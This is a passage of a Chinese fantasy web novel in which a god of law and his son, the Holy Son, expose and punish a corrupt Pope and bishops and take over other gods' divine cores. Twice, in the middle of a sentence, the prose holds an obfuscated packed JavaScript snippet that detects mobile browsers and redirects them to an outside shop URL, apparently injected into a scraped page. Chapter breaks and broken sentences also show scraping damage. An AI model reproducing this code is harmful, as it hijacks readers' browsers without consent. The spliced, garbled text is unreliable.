体内多了一股陌生又熟悉的能量源源不断地在增长。它并非一个人头就只能提供一次而是每个人都会不断地为他提供新的能量。 那感觉就像是养了一堆自动刷怪的NPC村民每时每刻都在努力干活为领主提供经验值。 也难怪光明神沉迷发展信徒放弃自己努力。 扶苏和秦政来到丛林深处。 扶苏问父亲: “您是故意送我来吸收信仰的?” 秦政伸手摘了一枚果子递给他: “既然是你开口让圣骑士来解决魔兽问题那就帮人帮到底。趁着圣骑士还没来坐实了你对村民们的帮助有多大也免得功劳被圣骑士抢去。” 秦政说的内容很现实。 有的时候虽然是自己下令帮忙的但接受帮助的人可能只会想到感谢自己接触过的、亲自动手的人。感谢他们当然无可厚非前提是他们并非碍于权势和命令才来帮忙的。 而且有时来帮忙的人办完事却会额外做点不讨人喜欢的操作捣乱。比如警告村民不许再拿这种小事来叨扰圣子或者威胁他们要报复“心大了的平民”。 这种情况下扶苏这个圣子就很有可能被某些人牵连得名声受损。 扶苏接过果子在衣服上擦了擦咬了一口发现味道很不错。 他把果子吃完才说: “不知道等会儿来的骑士会是谁可别给我拖后腿。” 不然还得想办法善后就很麻烦。 秦政回忆了一下: “你那个卫队长看起来很可靠 没多久一名骑士进入村庄: “你们村子里的魔兽具体在哪个位置出没?” 扶苏身上挂着隐身效果和秦政一起站在不远处围观。他不认得这位骑士不过看起来为人 还算正派。 秦政倒是在教廷里闲逛时记住了几乎所有人的姓名长相他告诉扶苏这个骑士名叫“王离”。 扶苏点了点头: “是我亲卫队里的吗?” 秦政说不是: “他是普通骑士属于外遣小队日常负责外出击杀黑暗生物。” 难怪会选中他。 王离并没有故意为难村民很快就根据村民给出的信息独自深入了森林。没过多久他一身血气地走了出来告诉村民们魔兽已经被他解决了。 为了让村民放心他还特意把魔兽的尸体从储物戒中放了出来。 村民们惊喜万分: “多谢您圣骑士大人!” 王离摇了摇头: “不用谢我要谢就谢圣子殿下吧。没有他的命令我们这些圣骑士也不能随意乱跑。” 圣骑士团队里也不是没有好人的 王离告别了村民们直接回城去了。 扶苏若有所思: “那个储物戒我好像没有……” 教廷也太抠门了怎么这种标配的东西也不给他弄一个?教廷到底还扣下了多少应该属于他的东西? 不行等回去了他得弄清楚。 秦政从袖子里掏出了一枚指环给儿子戴上。白玉的指环和西幻世界常见的金银镶嵌宝石不同看起来低调典雅很多。 扶苏意识到了什么: “这是储物戒指?” 秦政颔首: “你不是想要一个吗?” 扶苏蜷起手指: “多谢父亲。” 看来这位神明确实很喜欢养孩子要什么给什么。他就随口一说对方都能立刻满足。幸好自己不是不懂事的小屁孩不然早就被宠坏了。 秦政似乎并不觉得满足儿子的小要求有什么值得说道的也从来不会像有些父母那样为孩子做了一点事情就要反复强调让孩子记得感恩。 他走向一个方向示意扶苏跟上: “走吧我带你去看点有意思的事情。” 扶苏好奇地追了上去: “是什么?” 秦政卖了个关子。 比起跟儿子强调自己对孩子的付出秦政一向更喜欢炫耀自己的功绩让孩子崇拜他相信自己的阿父就是最厉害的。 所以秦政带着扶苏去了城西。 这里曾经是罪恶的摇篮只过去了短短一夜就变得和谐美好起来。每个人都挂着勉强的笑容见到彼此会友善地打一个招呼然后再彼此分开。 就仿佛不打招呼犯法一样。 扶苏十分疑惑: “他们这是被绑架了?” 秦政对儿子的质疑充耳不闻什么被绑架了?他可没有强迫这群人保持微笑分明就是居民的自发行为。 扶苏的疑惑很快得到了解答。 两人往前走了没多远就看见一个昨晚出去鬼混没在城西的小年轻吊儿郎当地走进巷子里。 一进来迎面碰见一个僵笑着冲他点头示意的邻居吓了一跳。 小年轻骂了一声: “有病!” 然后飞快地越过邻居往前走换来了邻居怜悯的眼神。 不过邻居也从对方没受到法神惩罚的情况意识到了其实单纯的骂人和不与行人微笑着打招呼并不会犯法。 也不知道是哪个缺德的家伙乱传害得整个城西都因为畏惧惩罚不敢不照做。一上午下来她脸都笑僵了可算不用再强迫自己假笑了。 邻居揉了揉脸放松地离开。 扶苏和秦政正站在巷子尽头这里有一只小黑猫。扶苏蹲下身去逗小猫一时有些不肯走了秦政也由着他。 吊儿郎当的小年轻从巷子里走出来在神力的影响下忽略了父子俩走向自己家的方向。 这里是一小片空地 居民询问小年轻: “你欠我的钱什么时候还?” 往常居民是不敢问的因为小年轻是这一代有名的混混。他年轻力壮居民却身体消瘦根本打不过他。 但现在可不一样了现在他们有了法神的恩赐可以理直气壮地讨债。对方不仅要乖乖还钱还不能像以前那样动不动就出手打人。 城西可是有先例的。 小年轻并不知 道,他一听这个瘦皮猴子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555259|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然敢问自己要钱,还没消的酒劲顿时就上来了。 他三两步冲过去,一拳头就砸向矮小瘦弱的居民。居民并没有如同以前那般抱头鼠窜,而是不躲不闪地站在原地。 没有让他等待太久,很快,法度之神的裁决就出现了。居民忍不住笑出了声,他被迫“借给”混混的钱,终于可以要回来了! 十几年了,从他还是个孩子的时候,就长期遭受对方的霸凌,要钱和揍人两不误。为了少挨打,他不得不把身上所有的钱交出去,甚至去打零工赚钱给混混。 居民生怕法度之神不知道: “从我七岁开始他就抢我的钱,逼迫我将钱财都给他。我家里穷困,根本没有多余的钱,那些都是我和父母的血汗钱。神明在上,请您替我做主!” 小年轻破口大骂: “你到底在搞什么邪恶的东西?快点把你的邪术收起来!” 居民就当他不存在: “神啊!这么多年这么多钱,是不是应该有利息?利息按照哪一年的算呢?抢劫是否应该比盗窃惩罚得更严重些?还有他威胁我的事情,这可不能算了!” 居民絮絮叨叨地说着他早就想了一晚上的各种罪名,恨不得给这可恶的混混判个死刑。一时又觉得死亡太便宜他,就该让他活着受苦。 扶苏都顾不上摸猫了,扭头好奇地看过来。没想到神明说带他来看好戏,居然真的有好戏上演。 判决书很快下达。 法度之神并不认为抢劫获得的赃款属于借款,如果只按借款判的话,那么受害者就只能得到一点微薄的利息了。 所以祂按照抢劫定论,要求小年轻返还双倍,多出来的那一倍属于赔偿金。同时,利息也要给,毕竟这么多钱、这么多年下来通货膨胀和存钱的利息也很可观。 神还按照现在的购买力重新界定了赃款的金额,把前头十几年的钱也以最近的物价折算了一下。 至于利息,则参考西幻大陆第一商会最近十几年给出的利息水平,从中选取最高的一档,进行计算。 给出的金额十分可观,看得混混眼珠子都要瞪出来了。 他立刻叫嚷道: “我可没这么多钱!” 居民也烦恼起来: “是啊没有钱怎么还?” 判决书给出答复——可以用健康、寿命、天赋、财运等物来进行抵押。 在拥有神秘力量的世界 居民大喜在判决书列出的几项东西里毫不犹豫地选择了健康。 天赋?混混根本没有什么天赋。 寿命?这操蛋的世界活久了也没什么意思。 财运?谁知道混混的财运怎样万一以后就是个穷光蛋呢。 只有健康是里面最值钱的。 居民很清楚混混的身体一直都很健康。他还没有因为酗酒熬夜之类的原因身体衰败下去就得这个时候选健康。 有了健康就可以节省大量钱财。 生病是最费钱的事情了哪怕他们不花钱去买药剂也会因为生病导致家里少一个赚钱的劳动力。其他人还得照顾他非常耽误事。 混混瞬间感觉自己身体被掏空可这还只是个开始。居民挨的揍他要一点点挨回来;还有他犯的其他罪孽都得付出代价。 扶苏看见判决书越写越长。 原本只是一张寻常纸张的大小现在开始加长再加长已经拖到了地上。 被抢过钱和挨过揍的人不少这次就一并审判了。不少人并不在此地也收到了判决书可以选择自己想要的赔偿。 扶苏有些好奇: “要是他赔光了所有东西还是还不清欠账呢?” 秦政淡淡地回答: “那就只能用灵魂之力抵押了。” 欠了别人的终归是要还的。 扶苏最后摸了一把猫头站起身: “很有趣。不过我有一个疑惑您到底制定了多么详细的律法怎么来往的行人都在尬笑?不和邻居打招呼也违法?” 秦政:“……此事与我无关。” 他也想知道这些家伙把他的律法妖魔化到什么程度了怎么这么夸张。 不过应该问题不大。 时间长了居民们自然会慢慢摸索出到底什么违法什么不违法。事实上只要不去作恶基本就不会违反律法正常生活的人也没有那么容易犯禁。 而且大部 分情节很轻的违法行为,惩罚也只是意思意思。第一次就是做个提醒罢了,下回他们便能记住。 扶苏和父亲一起走出城西: “我觉得城西的异常肯定很快就会被教廷发现的,教廷估计不会允许有别的神明在光明神的大本营公然挖墙脚。 秦政并不把这些人放在眼里: “他们对付不了我。 扶苏笑着问道: “那您准备什么时候将律法推广到全城和城外的其他地区呢? 秦政认真考虑过: “目前还在进行调整,律法也需要不断完善。先不着急完全推广出去,在城内试行一段时间。 言下之意就是准备尽快在整座城里推广了。 扶苏就给他出了个坏主意: “父亲可以等教廷来找您的麻烦,然后‘报复性’地将律法推广到全城。让教廷以为是他们冒犯到了您,才导致局面失控,原本您只想在城西安静待着的。 秦政思考了一下这个操作的可行性,最后点头答应了下来。 其实这么干的话,光明神很有可能会收到消息,导致两神对上。不过教皇不一定敢去通风报信,毕竟是他办事不力‘激怒’了陌生神明在先。 以教皇的油滑性子,他很有可能选择息事宁人,对光明神隐瞒这件事。 反正只是让所有人遵纪守法而已,对光明教廷其实没太大影响。如果因此导致居民信仰偏移,教皇也可以想办法再洗脑拉回来。 扶苏这个圣子就是他最好用的工具人。 扶苏一边往外走,一边说: “其实贵族居住的城北,才是罪恶最多的地方吧? 贵族们总爱说贫民窟乱的很,可他们自己也没好到哪里去。平民们造成的影响好歹是小范围的,不像贵族可以把魔爪伸向很远的地方,形成产业链。 秦政轻轻应了一声: “所以等教廷有动作之后,第一个往城北蔓延。 扶苏听完,感觉教皇要倒霉。 虽然光明教廷地位崇高,连国王的面子也可以不给。但贵族们如果拧成一股绳给教皇找麻烦的话,还是挺难搞的。 何况教廷本身也不干净。 父子俩回到教廷中,扶苏这才知道父亲给他弄 第 246 章 神王 第246章神王 秦政心虚地伸手,把那群吓破了胆已经失去理智狂奔半夜的主教全部弄晕。心想下回得把人限制在他们自己的房间里,不能再放出来撒野了。 秦政努力为自己辩解: “我只是出门前随手丢出了神力。” 他不是故意的。 这群主教的心理素质也太差了! 之前那群在城西搞七搞八的猥琐男也没见被吓成这样,不都好好地躲在家里不出门吗?这群主教怎么回事,还主动跑出去丢人的? 扶苏心道还能为什么。 城西那些人惧怕神明的力量,当然不敢跑出去乱来。 教廷这些自以为得到光明神的庇佑,不可能着道,如今却翻了车。 要么是怀疑光明神厌弃了自己、不肯继续庇佑,要么就是认为这是光明神降下的惩罚。 总之,这群信徒们的信仰崩塌了。 误以为自己被信奉的神所厌恶,不吓疯才怪。 其他人听不见秦政的声音,他们只看到那些主教突然就倒地不起了,越发惊恐起来。扶苏安抚了一句,而后主动走向那几个人。 蒙恬白起他们立刻上前阻拦。 蒙恬劝阻: “殿下,他们还不知道到底是什么情况,还是不要靠近了。” 扶苏就停住了脚步: “那来几个骑士将他们送回屋内。” 骑士们都有些迟疑。 说真的,他们挺怀疑主教到底是中邪了还是被感染了疫病。如果是疫病的话,他们其他人近距离接触会不会也感染。 之前那个不幸被主教抱过当柱子的圣骑士已经脸色惨白了,其他人也不太敢靠近他。 扶苏叹了口气: “应当不是疫病,主教们体内还有光明神赐予的神力,寻常病毒拿他们没有办法。” 那就是中邪了。 有人小声问: “是不是最近城中那个邪神?” 扶苏看了他一眼: “如果是区区邪神的话,怎么可能在光明神的眼皮子底下戕害了主教阁下?” 众人一听也觉得有道理。 这个时候,韩信忽然开口: “该不会 是他们私底下做了什么被光明神厌弃了吧?” 此话一出,众人都沉默了。 其实主教们平时是个什么做派大家心里都有数。偶尔也在心中嘀咕过神怎么不管,可碍于信仰,不好说出来。 如今这么一看,神可能并不是不管 白起忽然问了一句: “有人看到过他们跑出来之前都在做什么吗?” 人群里有个人面色不太自然。 扶苏看了过去他低头回避了圣子殿下的视线。 但扶苏是不可能叫他们逃过去的毕竟这是个极好的机会可以打击光明神的声誉。 扶苏走到少年面前温柔地问道: “可以告诉我吗?之前是不是你第一个跑去主教房中的?我们其他人都睡了只有你经常虔诚的祷告到深夜神殿距离主教阁下的房间又近只有你有机会看到一切了。” 他在替少年遮掩帮他找借口合理化对方深夜出现在主教房中的原因。 只有这么做对方才能放下包袱说实话。哪怕其他人心知肚明他到底是去干什么的至少明面上不能再嘲笑他了。 在这个肮脏的教廷没有几个人是清清白白的。有些人为了过上好日子选择了堕落也有些人是被迫或者被骗。 他们怎么选的扶苏并不关心。 扶苏只想达成自己的目的。 少年松了一口气。 因为他知道圣子现在询问他对他来说是最好的结果。 如果换成教皇来调查这件事一定不会对他这么客气。到时候他就真的是名声狼藉可能还会被逐出教廷了。 少年实话实说: “我进去之后就看见空中出现了一张写满了律法条文和判决的纸张上面罗列出了主教阁下这些年犯下的罪孽。” 他有些难以启齿但在圣子鼓励的目光下还是全部复述了一遍。 利用职务之便中饱私囊这些都不说了大家心知肚明。但和贵族联手搞一些人口贩卖的事情还有欺辱孩童等罪责说出来就有些惊人了。 众人惊呼出声: “主教阁下怎么能做 这种事?” 他们是光明神的主教又不是黑暗神的主教! 如果只是你情我愿的亲密行为哪怕道德层面不太说得过去 扶苏看向众人: “你们也看到了主教们恐怕是因为这些罪孽才遭到了法度的审判。虽然教皇陛下一直坚称这是邪神所为但我相信诸位心里有自己的判断。” 被审判的都是罪恶人家到底是不是邪神难道大家心里真的没点数吗? “主教阁下遭受审判的时候光明神并没有出手阻拦。想来这也是神的意思或许法度之神与吾神也相识。” 扶苏说出了别有用心的推测。 面前这群光明神的信徒顿时一凛开始认真思考这个论断的可能性。 如果当真是这样的话确实可以说得通。即便圣子殿下和教皇陛下的口径明显不一致大家也倾向于相信圣子。 实在是教皇自己也不干净。 倘若真相确实如同圣子分析的那般教皇或许是为了自身的利益才否定法度之神的正统性。欺上瞒下的事情教皇也不是第一次做了。 白起第一个出声附和: “教廷里当真出现邪神吾神不可能袖手旁观。何况之前城中情况如此严峻教皇陛下竟然一直不曾向神禀告恐怕确实是做贼心虚。” 蒙恬忽然问道: “这么大的动静教皇陛下怎么一直没有现身?” 众人面面相觑。 是啊教皇陛下呢?他难道没有听到动静吗? 白起一马当先走向教皇的寝殿推开了大门。却见教皇正无声地在地上翻滚表情狰狞而扭曲像是痛到了极点。 韩信咕哝了一声: “他好像发不出声音了?” 扶苏看向人群后方老神在在的神明。 秦政微微颔首: “他辱骂我自然要禁言。” 果然。 教皇一个人独自在这里不知道挣扎了多久已经疼到神志模糊。可他晕不过去神明非要他清醒地接受惩罚。 也不知道他是做了什么恶事。 有人看见了飘在空中的判决书: “用不正当手段陷害对手从而获取教皇之位……收取 贵族上贡的贿赂为他们的恶行大开方便之门……利用教皇职权为非作歹……” 念了几条他们就不敢念了。 扶苏悲悯地说道: “光明神已经厌弃了教皇陛下不知神预备让谁接替教皇之位。” 原本下一任教皇应该在主教里挑选的但是现在主教们全军覆没了。 韩信不关心谁是新教皇他只关心: “所以这几个被神厌弃的家伙应该拖出去处决掉吧?留在教廷里岂不是会影响我们教廷的形象?” 大家可不敢做这个主。 所以齐齐看向了圣子殿下如今教廷中只有圣子可以主持大局了。 扶苏征询骑士长的意见: “他们毕竟曾经是教廷中的支柱直接处决不太合适不如还是将他们驱逐出教廷吧?” 之前借口出去巡逻现在已经溜达回来了的吴起眉梢微动。 他心想这位圣子还挺狠的。 这种时候死了才是解脱尤其是像教皇这种生不如死的。结果圣子做出仁慈的模样把人赶出去叫他们自生自灭能是出于好心? 犯了大错被教廷驱赶的前教皇和前主教只会遭受到所有人的鄙夷和唾弃活得还不如阴沟里的老鼠。 虽然心里这么想吴起还是率先出声赞同起来。 他看得很明白以后教廷就是圣子的一言堂了这个时候不投诚的就是傻子。 圣子手段高明反而是件好事跟着他混不用担心老大哪天出事又得换个老大追随。 还有一点也很重要—— 这么多教廷高层受到审判了唯独圣子没有。要么是圣子确实清清白白什么坏事都没做过或者什么坏事都还没来得及做 审判是什么时候开始出现的呢? 根据圣骑士队和王国卫队的调查就在教廷选拔圣子前后。这也太巧了说没关系傻子都不信。 教皇也就是最近太过焦头烂额没来得及把两件事联想起来。审判下手又过于迅速没给教皇反应过来的机会。 到现在这件事已经不会再有人去追究了。 因为如今掌握着权力的全都是既得利益者利益受损的人不 是权力低微,就是已经彻底翻不了身了。 光是凭借这一点,那些看出端倪的新任掌权者就会死保圣子。除非哪一天他们也开始作奸犯科,并为此付出了代价。 但其他的贵族不好说,至少现在的女王陛下是不会这么做的。根据调查,她是个比较正派的人,恐怕反而会对如今的法度和秩序拍手叫好。 说实在的,这样的王国治理起来确实比较轻松。 白起韩信蒙恬王离等人也纷纷向圣子殿下表达了效忠,有了他们领头,其他人就像终于找到组织了一样,赶紧跟着进行宣誓。 天塌了有圣子殿下顶着呢! 想到这,大家惶恐的心稍微放松了些。 圣子殿下还在,教廷应该就不会出大问题。只是教皇他们的事情难免导致教廷的声望一落千丈,如今又有法度之神出来争夺信仰,他们光明教廷以后不知道该何去何从。 扶苏安抚地冲诸位笑了笑: “放宽心,一切磨难都会过去的,这都是光明神降下的考验。何况法度和光明本来就可以共存,我猜两位神明的关系应当不错,不然吾神不会任由审判在教廷内部肆意进行。” 韩信被说服了: “圣子殿下英明,一定是吾神早就看不惯这群老东西,但他无心插手这些凡尘俗务,这才请法度之神帮忙的!” 吴起:……你怎么还跟着他一起编上了?是故意的还是被忽悠了? 说起来这位圣子可真是个人物。 他都敢站在光明教廷里公然给光明神编排一个好友出来,完全不怕对方降下神罚,计较他胡说八道的事,心理素质实在是令人佩服。 不过这也佐证了吴起的猜测——圣子果然和法度之神有关系。 圣子有恃无恐。 不出意外的话,光明神现在压根不知道神庭里发生了什么变故。 扶苏冲吴起颔首示意。 吴起低头行礼,以示臣服。 蒙恬则叫上了几个骑士和侍从,要给还没穿衣服的主教把衣服套上。然后再把他们和教皇一起抬出去,丢到教廷外头。 闹了半夜,天边都泛出鱼肚白了。 扶苏眨了眨眼,眨掉眼底的困意。他还不能去休息,因为他得作为教廷接下来很长一段时间的主事 人出面开一次面向全城的大型会议。 教皇和主教被驱逐是大事件必须通知所有信徒。 好在教廷本来就有高台型的建筑以前有大事也是通过它传达给全城的。所以他让王离先上去敲钟提醒所有人教廷马上要有重大事件宣布。 扶苏任由他们先去安排 秦政看了看他眼底的青黑: “是不是很困?” 扶苏掩唇打了个哈欠: “有点。” 秦政伸手点了点他的眼睛青黑就消退了。扶苏感觉精神了一些但还是困。 回去换了一身衣裳洗漱了一番外头也差不多准备好了。他登上高台对着魔法扩音器开口简单地宣告了昨夜教廷内发生的变故。 “非常抱歉地通知诸位昨夜我们的教皇陛下和诸位主教受到了法度之神的审判……光明神在上他们的罪恶已经曝光在了所有人眼前神已经厌弃了他们……” 城内的居民们早在听到钟声响起时就停下了手里的动作安静等待教廷宣布新消息。 上一次教廷使用它时还是圣子人选敲定的时候。不知道发生了什么怎么这么快又用上了。 结果圣子的话一出来满城哗然。 虽然有很多人私底下对教廷的行为存在意见但教皇和主教在他们心里依然是至高无上的大人物。 从前他们以为教廷里邪恶的是那些对平民态度不耐烦的骑士和总是嘴上说怜悯他们实则一个光明魔法都不肯用的修士修女们。 后来圣子出现了这些骑士和修士修女都开始友善起来他们就认定是圣子感化了这些人。 可现在圣子殿下告诉他们邪恶的另有其人。真正可恶的根本是罪孽深重的教皇和主教他们的信仰都要崩塌了。 有人喃喃地说: “难怪以前骑士和修女他们都不会给平民提供帮助圣子一来就肯了。不仅是因为圣子殿下感化了他们也是因为他们以前在听教皇的命令现在改成听圣子的命令了。” 也有人附和: “我上次就听他们说教皇不允许他们将圣水分发给平民。如果我愿意等待的话他们可以去征询圣子殿下准许。” 旁边的人追问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658928|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “圣子殿下同意了吗?” 那人点头: “圣子殿下不但同意了还叫人从神像的掌心里取的圣水说那里的治疗效果更好。” 众人你一言我一语越讨论越清晰终于弄清楚了那些教廷高层的真面目。 可随之而来的却是迷茫: “连教皇陛下都罪孽深重我们信仰的光明神真的光明吗?” 绝大多数的平民并不是狂热的信徒或者说他们在面对教廷的人时才会表现得狂热虔诚。 教皇大概率有一点自己的小心思发展信众的时候经常夹带私货努力塑造自己的良好形象。 要是平时教皇人设崩塌这些信仰他的信众们还不一定会信。但如今绝大多数的平民都见识过了法度之神的厉害对方绝对不会错判。 何况谁敢和真正的神明对着干? 神明都说了他有罪另一位神明的代言人也说他已经被神厌弃。这个世界到底还是神明最大教皇的附庸也就这么烟消云散了。 教皇之前还对外宣称法度之神只是个不入流的邪神结果现在他被邪神狠狠制裁了。 法度之神果然是个很厉害的神明吧! 信众们的心情很矛盾。 一方面觉得教皇这么坏光明神不可能不知道。以前都不管光明神显然存在问题。 另一方面觉得神这样高高在上的存在自己没有资格批判况且教廷里还有圣子这样纯净的神官不能一杆子打死。 扶苏开完演讲就马不停蹄地又去办了一场巡游。他会在骑士们的护送下绕城几圈走过所有大街尽可能地多接见一些城民。 秦政看他忙得脚不沾地根本没有时间休息皱了皱眉。他提议让扶苏去睡觉这里交给幻影分身。 扶苏微微摇头: “等下要应对信众的问询 秦政只好拿出给儿子买的小甜点让他吃一点这个心情会好些。 接下来的一整个白天扶苏就耗在了巡游这件事上。他需要全程保持微笑安抚那些赶来的信众。 大部分信众都惶惶失措见到他后才安定下来。大家沉默地对着圣子殿下祷告着祈求光明神不要因为教皇的过错就厌弃了他 们所有人。 期间也有人壮着胆子问道: “光明神为何之前没有惩戒教皇?” 其他人拉他也拉不住愣是叫他把这么大不敬的问题问出来了。 扶苏停下脚步遗憾地回答: “教皇蒙蔽了神的耳目神并不知道他在人间做的这些事情。” 这话听在不同人的耳朵里就是不同的意思了。 单纯的人会相信光明神不知道聪明人会意识到光明神有意放任或者懒得管。还有的会觉得光明神不过如此居然能被凡人欺骗。 但无论如何光明神的形象也跟着遭受到了打击。 这样的一个西幻世界到底是华夏作者创作出来的指作为小说背景给主角提供便利。 作者本人大概率不信教所以TA所描绘的教廷与信徒不可能像现实中真正的信徒那么狂热到完全失去理智。 这是一个带着华夏朴素信仰观念的西幻世界而华夏人最爱干的事情就是——对我有好处的神我才信奉如果你让我不高兴了我能把你神像拖出去鞭挞。 比如经常因为不下雨被拉出龙王庙暴晒的龙王神像。 西幻世界的人民也或多或少带出了一点这个影子他们才不会在一个神上吊死只是单纯的畏惧神的权威不敢造次。 西方是先有神所有人都不敢得罪天神需要祈求神的垂怜。 东方是神还不是靠我们的信仰活着?所以祂们最好识趣一点不要总是拿乔大家不会每次都惯着。 敬畏是有的 扶苏微笑着听着越来越多的人站出来质疑光明神的不作为并不制止。 作为一个本身没有信仰的人扶苏从来不觉得对一个神狂热追捧是什么好事。 今天他们能无脑追捧光明神明天就有可能被别的邪教洗脑对于统治来说其实是一件很麻烦的事。 相比之下不信教反而好点。 就算非要信也最好信那种没有自我思想的死物。比如追崇法度、道德这些这样更有利于统治。 狂信徒当然也好统治却属于取巧的做法。一个搞不好要反噬自己从长远来看不如不信教的人安稳。 想来法度之神阁下应该也会喜欢这样的现状。 扶苏隔着人群和秦政对视。 秦政冲他微微颔首。 扶苏收回视线,继续应付来自信众的质问。 有一人提出了个尖锐的问题: “光明教皇也会遭到法度的审判,教皇此前还曾宣扬法度是邪神。圣子殿下,您认为祂真的是邪神吗? 开口的是个对扶苏,或者准确来说是对光明教廷很有意见的城民。她愤怒地瞪着扶苏,眼里充满了仇恨。 但扶苏知道她不是在恨自己,扶苏从她的神情里看出她曾经遭受过光明教廷的迫害。 扶苏温和地回望她: “不,我不觉得法度是邪神的产物,只有正义的神明才会拥有审判的权利。 城民一愣,语气下意识和缓: “您的意思是…… 扶苏环视四周,和一双双眼睛对视上,不躲不闪,丛容镇定。 他的语气掷地有声: “法度和光明并不冲突,法度严明,我们的世界才能真正迎来光明。混乱与无序反而会破坏光明,我们不该拒绝它,而是应该欢迎它。 混杂在人群中因为受了法度恩惠而有些动摇和纠结的信众,眼神渐渐明亮起来。他们原本以为自己需要在两位神明之间进行抉择了,可如今看来,好像还有第三个选择。 圣子殿下真是个明辨是非的好人。 这一天,扶苏和秦政都迎来了信仰的暴涨。 扶苏全面接手了教皇和主教们身败名裂后空出来的信仰,也拉到了法度之神信众的好感度。 秦政则因为扶苏替他说话的关系,消解了不少光明神信众对他这个“邪神的敌意,信徒人数也在稳步上涨。 但是扶苏累了个够呛。 他瘫在柔软的大床上说: “我以后再也不走这么多路了。 秦政摸了摸他的额头: “睡吧。 扶苏就沉沉地睡了过去。 睡醒后,还有很多事情要做。 扶苏之前就说过,要重新诠释教义。可惜那会儿教皇还在上头压着,他不好轻举妄动。 现在没了他这个头顶大山,扶苏想干什么就干什么。 他去了一趟藏书室,把所有光明典籍都通读了一遍。又 第 247 章 猫兽人 第247章猫兽人 神格,一般是西幻世界的特有产物。 它是一种类似资格证的东西,拥有了它的人才能成神。否则永远都是半神,实力也会卡在半神上不去。 扶苏发现,神格本身是不携带任何能量的,这也是光明神死亡后祂体内的能量会在后来单独涌向扶苏的原因所在。若非如此,扶苏获取神格的时候就应该已经吸收了那些能量才对。 既然是个资格证,那它当然可以随意剥离转赠。这东西甚至没有烙印上主人的姓名,所以一抢一个准。 父子俩很快去把诸神的神格都拿走了。 虽然有些神没干过什么坏事,但祂们也没干过什么好事。为了争夺信仰,没少放任人间陷入无止尽的征战。 扶苏面前摆了一排的神格。 不同的神格颜色各异,摆在一起像是一堆宝石那般。拿起来的时候,脑海里自动浮现相关的神位。 扶苏有些好奇: “现在诸神都陨落了,他们的信徒还好吗?” 如果天底下没有了神明,会不会影响到他们的教派呢?如果不会的话,岂不是说明诸神其实存在与否都一样,没了祂们世界照样可以运转? 秦政幻化出了一面水镜: “看看就知道了。” 水镜里显现出了下界的模样。 只见一个法师正在和魔兽战斗,但施展魔法的时候却十分滞涩。他疑惑不已,不明白为什么魔法不好用了。 画面切换,精灵族的生命树肉眼可见地变得枯萎起来。如果再不解决这个问题,母树就要枯死了。 整片大陆各地都在发生类似的事情,就连光明教廷的神官,使用光明魔法时也麻烦了许多。 圣水更是直接枯竭了,因为圣水里的光明神力原本就是来自光明神的。光明神一死,扶苏没给它续上,泉眼就断流了。 扶苏:! 没想到神明陨落会引发这么严重的后果。 秦政也有些意外。 不过那些神死都死了,现在后悔也来不及。如果天底下没有魔兽袭击的话,其实有些神没了也无所谓,可当前时代的平民显然还很需要利用魔法保护自己。 秦政当机立 断: “我先试试用幻影能不能糊弄过去。” 就算情况紧急也不能随便抓人来吸收神格,就不说后续会不会失控,这些人本身也不太了解神明需要做什么事。 比如扶苏,他一开始就完全不知道要给圣水的泉眼续上光明神力这件事。 所以比起刚入职的新人,模拟着诸神召唤幻影会更稳妥一点。召唤出来后,将神格和原主的能量一起注入幻影中,应该可以勉强维持住现状。 秦政早就发现,他召唤出来的幻影很多时候其实比秦政自己对对方的认知要更深一些。 就像之前召唤扶苏的分身一样,出现的圣子幻影拥有一些属于扶苏本人但秦政其实根本不知道的小习惯。 所以秦政很放心地召唤出了诸神幻影,觉得这把应该稳了。绝对是法则之类的东西填补了幻影里的缺失,不会有错。 结果事实证明,是他想多了。 扶苏撑着下巴围观了半天: “父亲,你有没有想过,你召唤出来的圣子幻影拥有你不知道的小习惯。其实不是你不知道,只是你忘了?” 秦政顿了顿,假装无事发生: “没关系,虽然这些幻影的还原度不太够,但它们还是能勉强维持住现状的。阿苏你看,魔法师已经可以顺利使用魔法了,只是稍微有一点滞涩而已。” 至于‘生命女神’还是没有主动恢复生命树的生命力这件事,不要紧,他可以手动命令对方注意这方面。 秦政吩咐过后,幻影果然将这件事列入了日程,开始兢兢业业地执行。 诸如此类的事情还有很多。 扶苏感觉他们一个个摸索还是太慢了,便提议把诸神的仆从叫来。或许他们知道一些内幕,可以给父子俩提供帮助。 很快,人就来了。 事实证明,这些人确实有用。他们七嘴八舌地将诸神每天都会干什么说得头头是道,父子俩很快补上了九成的漏洞。 剩下那点仆从们也不知道了,只能父子俩自己摸索。或者找到新的神接替,让那些神去自行摸索。 问题不大,都是些细枝末节的小东西。 秦政眉头微皱: “难道神界这么久了一直没有发生过神位更替的事情吗?如果发生过, 应该有一套完善的流程才对。” 不然每个吞了其他人神格的新神都搞不清楚状况,下界不就乱了套了。 一位活得最久的神仆说道: “可是下界的混乱与诸神有什么关系呢?他们是不会在意的。不知道您听说过一些神秘魔法物品的失传吗?其实就是因为相关的神明陨落了。” 神仆告诉他们,以前还有一些小神的存在。比如雷霆之神,祂就被其他神明给吞噬了。 当初雷霆之神还在的时候,祂会赐予祂的教廷一种叫雷池的东西。自从祂陨落后,雷池就不复存在了。 没有了雷池,雷霆的神格又被其他神格吸收,雷霆的教众便开始举步维艰。 没过多久,这些施展不出雷霆之力的人就彻底成为了普通人。雷系魔法从大陆上消失,教派也烟消云散。 神仆摇了摇头: 